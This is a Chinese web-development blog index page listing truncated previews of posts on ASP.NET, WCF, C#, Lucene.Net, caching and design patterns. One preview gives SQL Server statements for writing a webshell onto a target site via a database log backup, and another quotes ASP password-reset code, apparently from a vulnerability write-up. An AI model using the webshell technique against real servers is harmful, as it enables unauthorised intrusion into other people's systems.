Web开发网 > Web后台开发 > 热门博文
Application_Error 中如何获取http 404,500错误状态代码void Application_Error(object sender, EventArgs e){ Exception ex = Server.GetLastError(); if (ex is HttpException) { if (((HttpException)(ex)).GetHttpCode() == 404) Server.Transfer(~/Error404.aspx); } // Code that runs when an unh..
vbscript的Scripting.Dictionary创建了类似于Key索引对应Value值的字典对象,通过Key直接索引到指定的Value。 VBScript中Scripting.Dictionary使用示例如下Dim objDictSet objDict = WSH.CreateObject(Scripting.Dictionary) ' .Add(key, value) objDict.Add a, value1 objDict.Add b, value2 objDict.Add c, value3 '直..
ASP.NET的输出缓存(Output Caching)机制允许我们针对整个Web页面或者页面的某个部分(主要针对用户控件)最终呈现的HTML进行缓存。对于后续针对相同资源的请求,只需 要直接将缓存的HTML予以回复而无须按照页面处理生命周期对每次请求进行重复处理。WCF通过操作行为AspNetCacheProfileAttribute利用ASP.NET的输出缓存提供一种针对于某个操..
在《ASP.NET MVC Model元数据》 我们已经提到过了,Model元数据的定制是通过在作为Model的数据类型极其属性成员上应用相应的特性来实现,这些用于声明式元数据定义的特性大都定 义在System.ComponentModel.DataAnnotations.dll程序集中,程序集的名称同时也是对应的命名空间名称,所以我们 可以它们为数据注解特性(Data Annotation Attribu..
一、 为什么要引入Object Initializer 和 Collection Initializer 在创建一个具有较多属性的对象时,我们一定经常遇到这样的状况:为了尽量地使我们的Code更加简洁,我们试图调用一个适合的Constructor使得对象在创建过程中就可以为所需的属性进行初始化,但是往往我们找不到这样完美的Constructor都能够匹配我们需要进行初始化的属性列表。于..
一、Business Logic 和 Infrastructure Logic的分离 对于任何一个企业级应用的开发人员来说,他们编写的代码不仅仅是处理单纯的业务逻辑,同时还需要处理很多的非业务方面的逻辑,比如:Caching、Transaction Enlist、Authorization、Auditing、Exception Handling、Logging、Validation甚至是Performance Counter。我习惯把这些非业务逻辑成..
console.log(object[, object, ...])在控制台输出一条消息。如果有多个参数,输出时会用空格隔开这些参数。第一个参数可以是一个包含格式化占位符输出的字符串,例如:console.log(The%sjumpedover%dtallbuildings,animal,count);上面的例子可以用下面的无格式化占位符输出的代码替换:console.log(The,animal,jumpedover,count,tallbuildings);..
在《WCF技术剖析目录》的最后一章,我给出了一个具体的应用WCF的分布式应用实例,我把这个实例命名为PetShop。在这个例子中,我利 用WCF的扩展实现了一些设计、架构模式,比如AOP、IoC等。看过本书的读者,一定还记得我还通过WCF扩展实现了于微软企业库 (Enterprise Library)异常处理应用块(Exception Handling Application Block:EHAB)..
DW20.exe这个进程是Microsoft Application Error Reporting,用于在MS的app崩溃时发送错误报告的。 解决方法:右键我的电脑-属性-系统属性-高级-错误报告,设置禁用,DW20.exe就被禁用,不会启动了。来源:http://blog.csdn.net/jxufewbt/article/details/5257691
Response IsClientConnected 属性可以在asp/asp.net运行之时,判断客气端是否断开连接,返回true or false。这样避免用户在访问执行时间比较长的页面时,因为用户的重新刷新或关闭页面,服务端程序还在继续执行,导致服务器资源没有被即时释放。IsClientConnected相关说明:IsClientConnected 属性只读,它指示自上次调用 Response.Write 之..
要控制软件只运行一个实例,可以使用System.Diagnostics名字空间中的Process类来实现。 思路:在运行程序前,查找进程中是否有同名的进程,同时运行位置也相同,如是没有运行该程序,如果有,就将同名的同位置的程序窗口置前. 代码实现+展开-C#publicstaticProcessRunningInstance(){Processcurrent=Process.GetCurrentProcess();Process[]..
C#实现的域名信息whois查询源代码+展开-HTML%@PageLanguage="C#"%%@ImportNamespace="System.Net.Sockets"%%@ImportNamespace="System.Text"%%@ImportNamespace="System.IO"%%@ImportNamespace="System.Collections"%scriptlanguage="C#"runat="server"voiddoQuery(Objectsender,EventArgse){StringstrDomain=txtDomain.Text;char[]chSplit=..
WCF框架处理流程和涉及的组件 我们的模拟程序将你搭建一个迷你版的WCF框架,为了展示WCF整个处理流程中使用到一些特殊组件。我们首先来简单介绍一下对于一个简单的WCF服务调用,WCF的客户端和服务端框架的处理流程,和该流程的每一个阶段都使用那些重要组件。 下面的列表列出了WCF服务端框架对于处理一个简单的WCF服务调用请求所提供的功能..
ASP.NET提供了诸多控件,这些控件包括简单控件、数据库控件、登录控件等强大的控件。在ASP.NET中,简单控件是最基础也是经常被使用的控件,简单控件包括标签控件(Label)、超链接控件(HyperLink)以及图像控件(Image)等。5.2.1 标签控件(Label) 在Web应用中,希望显式的文本不能被用户更改,或者当触发事件时,某一段文本能够在运..
C#是面向对象的编程语言。在面向对象开发当中,不可避免的要创建一个类,创建类后还需要创建该类的属性和方法来描述对象,然后再创建这个类的对象进行实例化。创建后的对象能够通过类中的属性和方法完成相应的操作。3.2.1 定义 什么是对象?世间万物皆对象,在生活中,可能是一只猫、一只狗,或者是饼干、一张订单、银行卡等等都是对象。..
今天碰到了这个问题,google了一下,收起来。FTP出问题211-Extension supported 停止的解决方法Windows 2003,开启了系统防火墙,系统的安全性提高了很多。但是使用Serv-U架设的FTP服务器就会出现以下问题:FTP客户端在登录成功后,发出FEAT命令后停下来了:[R] FEAT[R] 211-Extension supported[R] CLNTServ-U Administrator 的 spy 显示为:FE..
一、 模板方法(Template Method)模式准备一个抽象类,将部分逻辑以具体方法以及具体构造子的形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。这就是模版方法模式的用意。很多人可能没有想到,模版方法模式实际上是所有模式中最为常见的几个模式之一,而..
memcached是什么?memcached 是以LiveJournal 旗下Danga Interactive 公司的Brad Fitzpatric 为首开发的一款软件。现在已成为 mixi、 hatena、 Facebook、 Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。许多Web应用都将数据保存到RDBMS中,应用服务器从中读取数据并在浏览器中显示。但随着数据量的增大、访问的集中,就会出现RDBM..
[硬件配置]CPU : AMD2500+ (1.8G)内存: 1G/现代硬盘: 80G/IDE[软件配置]OS : Windows XP SP2SE : PHP5.2.1DB : MySQL5.0.37Web: IIS6[MySQL表结构]CREATETABLE`myisam`(`id`int(11)NOTNULLauto_increment,`name`varchar(100)defaultNULL,`content`text,PRIMARYKEY(`id`))ENGINE=MyISAMDEFAULTCHARSET=gbk;CREATETABLE`innodb`(`id`int(11)NOTNUL..
一、异常情形IndexWriterwriter=newIndexWriter("D:\\index",newStandardAnalyzer(),true);writer.SetMaxBufferedDocs(1000000);writer.SetMergeFactor(1000);for(inti=0;i1000000;i++){AddDocument(writer,"测试标题","测试内容");}staticvoidAddDocument(IndexWriterwriter,stringtitle,stringcontent){Documentdocument=newDocument();docume..
4、索引对搜索排序的影响 搜索的时候,同一个搜索关键字和同一份索引,决定了一个结果,不但决定了结果的集合,也确定了结果的顺序。那个这个结果是怎么得出来的?这个顺序又是怎么排的呢?这两个问题不是本节讨论的重点,但是这两个问题却关系到本节要讨论的,索引对结果的影响问题。在不使用字段排序的情况下,Lucene.Net默认是按文档的得分来..
本文是用IHttpModule解决输入中文地址乱码问题(一) 的续文。上文说到,需要对已有的地址进行GB2312编码,这样大大增加了工作量,有没更好的办法呢?1publicclassHookModule:IHttpModule2{34#regionIHttpModule成员56publicvoidDispose()7{89}1011publicvoidInit(HttpApplicationcontext)12{13context.BeginRequest+=newEventHandler(context_B..
一步一步教你使用.net进行Socket通信新建一个类,名字为Server,用于侦听网络连接。 +展开-C#1usingSystem;23usingSystem.Net;45usingSystem.Net.Sockets;6789namespaceSocketLibrary1011{1213publicclassServer1415{1617publicConnectionCollectionConnections{1819get{return_connections;}2021set{_connections=value;}2223}2425privateConn..
有时候遇到目标网站数据库过大,导致备份超时的时候,我们可以通过以下语句进行备份拿webshell alter database CaanCn set RECOVERY FULL-- Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- insert into b..
在DOS命令中有一个很奇特的命令,通常我们用到的DOS命令如“DEL”、“DIR”这些命令,都是由字母组成的,而这个DOS命令只是一个单个的符号“>”,它的名字就叫做重定向。别看它看起来很简单,用处却很大,就让我们来见识一下重定向的妙用吧。 有一次我到一位朋友家里做客,正赶上朋友在家里整理硬盘,我到他家的时候,他已经把硬盘上的所有..
一、 桥梁(Bridge)模式桥梁模式是一个非常有用的模式,也是比较复杂的一个模式。熟悉这个模式对于理解面向对象的设计原则,包括"开-闭"原则(OCP)以及组合/聚合复用原则(CARP)都很有帮助。理解好这两个原则,有助于形成正确的设计思想和培养良好的设计风格。注:《Java与模式》一书认为Bridge模式不是一个使用频率很高的模式,我不太赞同,我认..
概述Velocity是微软推出的分布式缓存解决方案,为开发可扩展性,可用的,高性能的应用程提供支持,可以缓存各种类型的数据,如CLR对象、XML、二进制数据等,并且支持集群模式的缓存服务器。Velocity也将集成在.NET Framework 4.0中,本文将介绍Velocity中的悲观锁定,缓存项版本、日志记录、客户端缓存以及路由表等知识。 悲观锁定在Velocity提供..
在程序getpass.asp这个文件里。 +展开-VBScriptifrequest.QueryString("action")="rsend"thenifrequest("uname")=""orrequest("uemail")=""thenresponse.Write("script>alert(’请输入登陆用户名和注册邮件地址’);history.back();/script>")endififrequest("upass1")=""orrequest("upass2")=""thenresponse.Write("script>alert(’请输入密码或..
在Vista和Windows Seven火热发布的今天,很多用户都被Vista的特效所吸引,Vista和的Windows Seven的3D特效,以及毛玻璃等效果给操作系统带来了更新更好的用户体验,在这一系列功劳的背后,WPF占据着不小的功劳。目录19.1 了解WPF 19.1.1 什么是WPF 19.1.2 WPF的应用范围19.2 WPF和Microsoft Expression 19.2.1 使用Microsoft Expre..
打开Excel的VBA帮助,查看Excel的对象模型,很容易找到完成这个功能需要的几个集合和对象:Application、 Workbooks、Workbook、Worksheets还有Worksheet和Range。Application创建Excel应用,Workbooks打开Excel文档,Workbook获得Excel文档工作薄,Worksheets操作工作表集合,Worksheet获得单个工作表。 搜索的思路对应上述集合和对象,.. 首页 上一页 [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71] [72] [73] [74] [75] [76] [77] [78] 下一页 尾页 70/78页,每页显示30条,共2325条相关记录